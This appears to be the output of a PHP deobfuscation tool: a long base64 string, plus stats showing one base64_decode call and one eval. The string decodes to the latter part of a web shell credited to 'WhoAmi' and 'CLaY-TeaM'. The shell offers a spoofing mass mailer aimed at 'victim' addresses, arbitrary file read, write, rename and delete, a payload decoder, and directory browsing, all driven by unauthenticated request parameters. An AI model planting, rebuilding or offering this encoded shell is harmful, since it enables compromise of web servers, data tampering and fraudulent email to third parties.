ZXNzIHNwYW0gZGV0ZWN0aW9uKSANCiAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icGFkZGluZyIvPiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMiI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2UiIGNvbHM9IjE3MyIgcm93cz0iMTAiIGNsYXNzPSJjbWQiPk1hZGxlZXQtU2hlbGwgUm9ja3MhITwvdGV4dGFyZWE+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiAzOTBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IlNlbmQhIDpEIi8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgIDwvdGFibGU+ICAgICAgICAgICAgIA0KICAgICAgICA8L2Zvcm0+ICAgIA0KICAgICAgICA8P3BocCANCiAgICB9IA0KfSANCg0KDQovL01hc3MgTWFpbGVyIA0KDQplbHNlIGlmKGlzc2V0KCRfR0VUWydtYWlsJ10pKSANCnsgDQogICAgaWYoIA0KICAgICAgICBpc3NldCgkX0dFVFsndG8nXSkgJiYgDQogICAgICAgIGlzc2V0KCRfR0VUWydmcm9tJ10pICYmIA0KICAgICAgICBpc3NldCgkX0dFVFsnc3ViamVjdCddKSAmJiANCiAgICAgICAgaXNzZXQoJF9HRVRbJ21lc3NhZ2UnXSkgDQogICAgKSANCiAgICB7IA0KDQogICAgICAgIGlmKG1haWwoJF9HRVRbJ3RvJ10sJF9HRVRbJ3N1YmplY3QnXSwkX0dFVFsnbWVzc2FnZSddLCJGcm9tOiIuJF9HRVRbJ2Zyb20nXSkpIA0KICAgICAgICB7IA0KICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5NYWlsIFNlbnQhPC9wPiI7IA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIA0KICAgICAgICB7IA0KICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5Tb21lIEVycm9yIE9jY3VyZWQhPC9wPiI7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWxzZSANCiAgICB7IA0KICAgICAgICA/PiANCiAgICAgICAgPGZvcm0gbWV0aG9kPSJHRVQiPiANCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1haWwiIC8+IA0KICAgICAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgRnJvbSANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0iZnJvbSIgdmFsdWU9InByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdiIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAncHJlc2lkZW50QHdoaXRlaG91c2UuZ292Jyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J3ByZXNpZGVudEB3aGl0ZWhvdXNlLmdvdic7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgVG8gIA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJ0byIgdmFsdWU9InZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J3ZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbSc7Ii8+IA0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgU3ViamVjdCANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZD4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0ic3ViamVjdCIgdmFsdWU9Ikp1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJ0p1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISc7IiAvPg0KICAgICAgICAgICAgICAgICAgICA8L3RkPiANCiAgICAgICAgICAgICAgICA8L3RyPiANCiAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIyIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgbmFtZT0ibWVzc2FnZSIgY29scz0iMTczIiByb3dzPSIxMCIgY2xhc3M9ImNtZCI+QWxsIGkgcmVtZW1iZXIgYXJlIHRob3NlIGxvbmVseSBuaWdodHMgd2hlbiBpIHdhcyBkZWZhY2luZyB0aG9zZSBpbnNlY3VyZSB3ZWJzaXRlcyE8L3RleHRhcmVhPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgcm93c3Bhbj0iMiI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJtYXJnaW4gOiAyMHB4OyBtYXJnaW4tbGVmdDogMzkwcHg7IHBhZGRpbmcgOiAxMHB4OyB3aWR0aDogMTAwcHg7IiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJvd24iIHZhbHVlPSJTZW5kISA6RCIvPiANCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gDQogICAgICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICANCiAgICAgICAgPC9mb3JtPiAgICANCiAgICAgICAgPD9waHAgDQogICAgfSANCn0gDQoNCg0KLy8gRWRpdCBGaWxlIA0KDQplbHNlIGlmKGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiANCiAgICAgICAgaXNzZXQoJF9QT1NUWydjb250ZW50J10pICkgDQp7IA0KICAgIGlmKGlzX2RpcigkX1BPU1RbJ2ZpbGUnXSkpIA0KICAgIHsgDQogICAgICAgIGhlYWRlcigibG9jYXRpb246Ii4kc2VsZi4iP2Rpcj0iLiRfUE9TVFsnZmlsZSddKTsgDQogICAgfSANCiAgICBpZihmaWxlX2V4aXN0cygkX1BPU1RbJ2ZpbGUnXSkpIA0KICAgIHsgDQogICAgICAgICRoYW5kbGUgPSBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwidyIpOyANCiAgICAgICAgZndyaXRlKCRoYW5kbGUsJF9QT1NUWydjb250ZW50J10pOyANCiAgICAgICAgZWNobyAiWW91ciBjaGFuZ2VzIHdlcmUgU3VjY2Vzc2Z1bGx5IFNhdmVkISI7IA0KICAgIH0gDQogICAgZWxzZSANCiAgICB7IA0KICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPkZpbGUgTmFtZSBTcGVjaWZpZWQgZG9lcyBub3QgZXhpc3RzITwvcD4iOyANCiAgICB9IA0KfSANCg0KLy8gUEhQIGRlY29kZXIgDQoNCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2RlY29kZSddKSkgDQp7IA0KICAgICRjb250ZW50ID0gIiI7IA0KICAgIGlmKGlzc2V0KCRfUE9TVFsnY29udGVudCddKSkgDQogICAgeyANCiAgICAgICAgJGNvbnRlbnQgPSBodG1sc3BlY2lhbGNoYXJzKGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRfUE9TVFsnY29udGVudCddKSkpOyAgICAgICAgDQogICAgfSANCiAgICA/PiANCiAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPiANCiAgICAgPHRleHRhcmVhIG5hbWU9ImNvbnRlbnQiIHJvd3M9IjIwIiBjb2xzPSIxMDAiIGNsYXNzPSJjbWQiPjw/cGhwIGVjaG8gJGNvbnRlbnQ7Pz48L3RleHRhcmVhPjxiciAvPiANCiAgICAgICAgPGlucHV0IG5hbWU9InNhdmUiIHR5cGU9IlN1Ym1pdCIgdmFsdWU9IkRlY29kZSIgY2xhc3M9Im93biIgaWQ9InNwYWNpbmciLz4gDQogICAgPC9mb3JtPiANCiAgICA8P3BocCANCn0gDQoNCi8vb3BlbiBmaWxlIA0KDQplbHNlIGlmKGlzc2V0KCRfR0VUWydvcGVuJ10pKSANCnsgDQogICAgPz4gDQogICAgICAgIDxmb3JtIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI8P3BocCBlY2hvICRzZWxmOz8+IiA+IA0KICAgICAgICA8dGFibGU+IA0KICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQ+RmlsZSA8L3RkPjx0ZD4gOiA8L3RkPjx0ZD48aW5wdXQgdmFsdWU9Ijw/cGhwIGVjaG8gJF9HRVRbJ29wZW4nXTs/PiIgY2xhc3M9ImNtZCIgbmFtZT0iZmlsZSIgLz48L3RkPiANCiAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICA8dGQ+U2l6ZSA8L3RkPjx0ZD4gOiA8L3RkPjx0ZD48aW5wdXQgdmFsdWU9Ijw/cGhwIGVjaG8gZmlsZXNpemUoJF9HRVRbJ29wZW4nXSk7Pz4iIGNsYXNzPSJjbWQiIC8+PC90ZD4gIA0KICAgICAgICAgICAgPC90cj4gDQogICAgICAgIDwvdGFibGU+IA0KICAgICAgICA8dGV4dGFyZWEgbmFtZT0iY29udGVudCIgcm93cz0iMjAiIGNvbHM9IjEwMCIgY2xhc3M9ImNtZCI+PD9waHAgDQogICAgICAgICRjb250ZW50ID0gaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnb3BlbiddKSk7IA0KICAgICAgICBpZigkY29udGVudCkgDQogICAgICAgIHsgDQogICAgICAgICAgICBlY2hvICRjb250ZW50OyANCiAgICAgICAgfSANCiAgICAgICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ2ZnZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygnZmVvZicpKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGZvcGVuKCRfR0VUWydvcGVuJ10pOyANCiAgICAgICAgICAgIHdoaWxlKCFmZW9mKCkpIA0KICAgICAgICAgICAgeyANCiAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJF9HRVRbJ29wZW4nXSkpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQoNCiAgICAgICAgPz4gDQogICAgICAgIDwvdGV4dGFyZWE+PGJyIC8+IA0KICAgICAgICA8aW5wdXQgbmFtZT0ic2F2ZSIgdHlwZT0iU3VibWl0IiB2YWx1ZT0iU2F2ZSBDaGFuZ2VzIiBjbGFzcz0ib3duIiBpZD0ic3BhY2luZyIvPiANCiAgICAgICAgPC9mb3JtPiANCiAgICA8P3BocCANCn0gDQoNCi8vUmVuYW1lIA0KDQplbHNlIGlmKGlzc2V0KCRfR0VUWydyZW5hbWUnXSkpIA0KeyANCiAgICBpZihpc3NldCgkX0dFVFsndG8nXSkgJiYgaXNzZXQoJF9HRVRbJ3JlbmFtZSddKSkgDQogICAgeyANCiAgICAgICAgaWYocmVuYW1lKCRfR0VUWydyZW5hbWUnXSwkX0dFVFsndG8nXSkgPT0gRkFMU0UpIA0KICAgICAgICB7IA0KICAgICAgICAgICAgPz4gDQogICAgICAgICAgICA8YmlnPjxwIGNsYXNzPSJibGluayI+Q2FudCByZW5hbWUgdGhlIGZpbGUgc3BlY2lmaWVkISBQbGVhc2UgY2hlY2sgdGhlIGZpbGUtbmFtZSAsIFBlcm1pc3Npb25zIGFuZCB0cnkgYWdhaW4hPC9wPjwvYmlnPiANCiAgICAgICAgICAgIDw/cGhwIA0KICAgICAgICB9IA0KICAgICAgICBlbHNlIA0KICAgICAgICB7IA0KICAgICAgICAgICAgPz4gDQogICAgICAgICAgICA8YmlnPjxwIGNsYXNzPSJibGluayI+RmlsZSBSZW5hbWVkICwgUmV0dXJuIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJHNlbGY7Pz4iPkhlcmU8L2E+PC9wPjwvYmlnPiANCiAgICAgICAgICAgIDw/cGhwIA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWxzZSANCiAgICB7IA0KPz4gDQogICAgPGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iPD9waHAgZWNobyAkc2VsZjs/PiIgPiANCiAgICAgICAgPHRhYmxlPiANCiAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAgPHRkPkZpbGUgPC90ZD48dGQ+IDogPC90ZD48dGQ+PGlucHV0IHZhbHVlPSI8P3BocCBlY2hvICRfR0VUWydyZW5hbWUnXTs/PiIgY2xhc3M9ImNtZCIgbmFtZT0icmVuYW1lIiAvPjwvdGQ+IA0KICAgICAgICAgICAgPC90cj4gDQogICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgIDx0ZD5UbyA8L3RkPjx0ZD4gOiA8L3RkPjx0ZD48aW5wdXQgdmFsdWU9Ijw/cGhwIGVjaG8gJF9HRVRbJ3JlbmFtZSddOz8+IiBjbGFzcz0iY21kIiBuYW1lPSJ0byIgLz48L3RkPiAgDQogICAgICAgICAgICA8L3RyPiANCiAgICAgICAgPC90YWJsZT4gDQogICAgICAgIDxpbnB1dCB0eXBlPSJTdWJtaXQiIHZhbHVlPSJSZW5hbWUgOkQiIGNsYXNzPSJvd24iIHN0eWxlPSJtYXJnaW4tbGVmdDogMTYwcHg7cGFkZGluZzogNXB4OyIvPiANCiAgICAgICAgPC9mb3JtPiAgICANCiAgICA8P3BocCANCiAgICB9IA0KfSANCg0KDQovLyBObyByZXF1ZXN0IG1hZGUgDQovLyBEaXNwbGF5IGhvbWUgcGFnZSANCg0KZWxzZSANCnsgDQogICAgJGRpciA9IGdldGN3ZCgpOyANCiAgICBpZihpc3NldCgkX0dFVFsnZGlyJ10pKSANCiAgICB7IA0KICAgICAgICAkZGlyID0gJF9HRVRbJ2RpciddOyANCiAgICB9IA0KICAgID8+IA0KICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IA0KICAgIDx0cj4gDQogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIiAgYWN0aW9uPSI8P3BocCBlY2hvICRzZWxmOz8+Ij4gDQogICAgICAgIDx0ZCB3aWR0aD0iMTAwIj5QV0Q8L3RkPjx0ZCB3aWR0aD0iNDEwIj48aW5wdXQgbmFtZT0iZGlyIiBjbGFzcz0iY21kIiBpZD0ibWFpbklucHV0IiB2YWx1ZT0iPD9waHAgZWNobyAkZGlyOz8+Ii8+PC90ZD4gDQogICAgICAgIDx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRzAhISIgY2xhc3M9Im93biIgLz48L3RkPiANCiAgICAgICAgPC9mb3JtPiANCiAgICA8L3RyPiANCiAgICA8L3RhYmxlPiANCiAgICAgDQogICAgPHRhYmxlIGlkPSJtYXJnaW5zIiBjbGFzcz0iZmlsZXMiPiANCiAgICA8dHI+IA0KICAgICAgICA8dGggY2xhc3M9ImhlYWRlciIgd2lkdGg9IjUwMHB4Ij5OYW1lPC90aD4gDQogICAgICAgIDx0aCB3aWR0aD0iMTAwcHgiIGNsYXNzPSJoZWFkZXIiPlNpemU8L3RoPiANCiAgICAgICAgPHRoIHdpZHRoPSIxMDBweCIgY2xhc3M9ImhlYWRlciI+UGVybWlzc2lvbnM8L3RoPiANCiAgICAgICAgPHRoIHdpZHRoPSIxMDBweCIgY2xhc3M9ImhlYWRlciI+RGVsZXRlPC90aD4gDQogICAgICAgIDx0aCB3aWR0aD0iMTAwcHgiIGNsYXNzPSJoZWFkZXIiPlJlbmFtZTwvdGg+IA0KICAgIDwvdHI+IA0KICAgIDw/cGhwIA0KICAgICANCiAgICBpZihpc3NldCgkX0dFVFsnZGVsZXRlJ10pKSANCiAgICB7IA0KICAgICAgICBpZih1bmxpbmsoKCRfR0VUWydkZWxldGUnXSkpID09IEZBTFNFKSANCiAgICAgICAgeyANCiAgICAgICAgICAgIGVjaG8gIjxwIGlkPSdtYXJnaW5zJyBzdHlsZT0nY29sb3I6cmVkOyc+Q291bGQgTm90IERlbGV0ZSB0aGUgZmlsZSBTcGVjaWZpZWQhPC9wPiI7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaWYoaXNfZGlyKCRkaXIpKSANCiAgICB7IA0KICAgICAgICAkaGFuZGxlID0gb3BlbmRpcigkZGlyKTsgDQogICAgICAgIGlmKCRoYW5kbGUgIT0gRkFMU0UpIA0KICAgICAgICB7IA0KICAgICAgICBpZigkZGlyWyhzdHJsZW4oJGRpciktMSldICE9ICRTRVBBUkFUT1IpeyRkaXIgPSAkZGlyLiRTRVBBUkFUT1I7fSANCiAgICAgICAgd2hpbGUgKGZhbHNlICE9PSAoJGZpbGUgPSByZWFkZGlyKCRoYW5kbGUpKSkgeyANCiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIA0KICAgICAgICB7IA0KICAgICAgICAgICAgICAgIC8vZWNobyAkZmlsZTsgDQogICAgICAgICAgICAgICAgLy9mIGl0cyBhIGRpcmVjdG9yeSANCiAgICAgICAgICAgICAgICBpZihpc19kaXIoJGRpci4kZmlsZSkpIA0KICAgICAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgICAgID8+IA0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2Rpcic+PGEgaHJlZj0nPD9waHAgZWNobyAkc2VsZiA/Pj9kaXI9PD9waHAgZWNobyAkZGlyLiRmaWxlID8+Jz4vPD9waHAgZWNobyAkZmlsZSA/PjwvYT48L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSdpbmZvJz5ESVI8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSdpbmZvJz5ESVI8L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkPjwvdGQ+IA0KICAgICAgICAgICAgICAgICAgICA8Zm9udCBjb2xvcj0id2hpdGUiPjx0ZCBjbGFzcz0iaW5mbyI+PGEgaHJlZj0iPD9waHAgZWNobyAkc2VsZjs/Pj9yZW5hbWU9PD9waHAgZWNobyAkZGlyLiRmaWxlOz8+Ij5SZW5hbWU8L2E+PC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDwvdHI+IA0KICAgICAgICAgICAgICAgIDw/cGhwIA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgLy9JdHMgYSBmaWxlICANCiAgICAgICAgICAgICAgICBlbHNlIA0KICAgICAgICAgICAgICAgIHsgDQogICAgICAgICAgICAgICAgICAgID8+IA0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9J2ZpbGUnPjxhIGhyZWY9Jzw/cGhwIGVjaG8gJHNlbGYgPz4/b3Blbj08P3BocCBlY2hvICRkaXIuJGZpbGUgPz4nPjw/cGhwIGVjaG8gJGZpbGUgPz48L2E+PC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0naW5mbyc+PD9waHAgZWNobyBIdW1hblJlYWRhYmxlRmlsZXNpemUoZmlsZXNpemUoJGRpci4kZmlsZSkpOz8+PC90ZD4gDQogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0naW5mbyc+PD9waHAgZWNobyBnZXRGaWxlUGVybWlzc2lvbnMoJGRpci4kZmlsZSk7Pz48L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJpbmZvIj48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmOz8+P2RlbGV0ZT08P3BocCBlY2hvICRkaXIuJGZpbGU7Pz4iPkRlbGV0ZTwvYT48L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJpbmZvIj48YSBocmVmPSI8P3BocCBlY2hvICRzZWxmOz8+P3JlbmFtZT08P3BocCBlY2hvICRkaXIuJGZpbGU7Pz4iPlJlbmFtZTwvYT48L3RkPiANCiAgICAgICAgICAgICAgICAgICAgPC90cj4gPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICA8P3BocCANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgY2xvc2VkaXIoJGhhbmRsZSk7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgZWxzZSANCiAgICB7IA0KICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnIGlkPSdtYXJnaW5zJz4iLiRfR0VUWydkaXInXS4iIGlzIDxiPk5PVDwvYj4gYSBWYWxpZCBEaXJlY3RvcnkhPGJyIC8+PC9wPiI7IA0KICAgIH0gDQogICAgPz4gDQogICAgPC90YWJsZT4gDQogICAgPD9waHAgDQogICANCn0gDQovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSANCj8+IA0KDQo8P3BocCANCn0gDQovLyBFbmQgU2hlbGwgDQovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gDQo/PiANCjxiciAvPjxiciAvPjxiciAvPjxiciAvPiANCg0KPGRpdiBjbGFzcz0iZW5kIj4gDQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6IzAwRkZGRjt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTozMHB4Ij5Db2RlZCBCeSBXaG9BbWkgQCA8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6IzAwRkZGRjt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTozMHB4Ij48YSBocmVmPSIiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6ICMwMEZGRkYiPlsgQ2xpY2sgSGVyZSBdPC9mb250Pjxicj4NCjwvZm9udD4NCjxicj48YnI+DQo8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6cmVkO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjxzcGFuPjwvc3Bhbj5TcHluZVQuT2ZmaWNpZWxsQGdtYWlsLkNvTTxzY3JpcHQgZGF0YS1jZmhhc2g9J2Y5ZTMxJyB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KLyogPCFbQ0RBVEFbICovIWZ1bmN0aW9uKCl7dHJ5e3ZhciB0PSJjdXJyZW50U2NyaXB0ImluIGRvY3VtZW50P2RvY3VtZW50LmN1cnJlbnRTY3JpcHQ6ZnVuY3Rpb24oKXtmb3IodmFyIHQ9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInNjcmlwdCIpLGU9dC5sZW5ndGg7ZS0tOylpZih0W2VdLmdldEF0dHJpYnV0ZSgiZGF0YS1jZmhhc2giKSlyZXR1cm4gdFtlXX0oKTtpZih0JiZ0LnByZXZpb3VzU2libGluZyl7dmFyIGUscixuLGksYz10LnByZXZpb3VzU2libGluZyxhPWMuZ2V0QXR0cmlidXRlKCJkYXRhLWNmZW1haWwiKTtpZihhKXtmb3IoZT0iIixyPXBhcnNlSW50KGEuc3Vic3RyKDAsMiksMTYpLG49MjthLmxlbmd0aC1uO24rPTIpaT1wYXJzZUludChhLnN1YnN0cihuLDIpLDE2KV5yLGUrPVN0cmluZy5mcm9tQ2hhckNvZGUoaSk7ZT1kb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShlKSxjLnBhcmVudE5vZGUucmVwbGFjZUNoaWxkKGUsYyl9dC5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHQpO319Y2F0Y2godSl7fX0oKS8qIF1dPiAqLzwvc2NyaXB0PjwvZm9udD48YnI+PGJyPg0KPGJyPg0KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOmxpbWU7dGV4dC1zaGFkb3c6MHB4IDFweCA1cHggIzAwMDtmb250LXNpemU6MzBweCI+PGEgaHJlZj0iaHR0cDovL2NsYXl0ZWFtLnp1Ymlob3N0aW5nLmNvbS8iIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6IGxpbWUiPkNMYVkgLSBUZWFNIDwvZm9udD48YnI+DQo8Zm9udCBmYWNlPSJJY2VsYW5kIiBzdHlsZT0iY29sb3I6bGltZTt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTozMHB4Ij48YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vY2xheXRlYW13aG9hbWkiIHRhcmdldD0iX2JsYW5rIiBzdHlsZT0iY29sb3I6IGxpbWUiPk9mZmljaWFsIFBhZ2U8L2ZvbnQ+PGJyPg0KPC9zY3JpcHQ+DQo8L3A+IA0KPC9kaXY+IA0KPC9ib2R5PiANCjwvaHRtbD4=")); 
?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 4a858729931ec3e63fd040f7b4b9becf
Eval Count 1
Decode Time 120 ms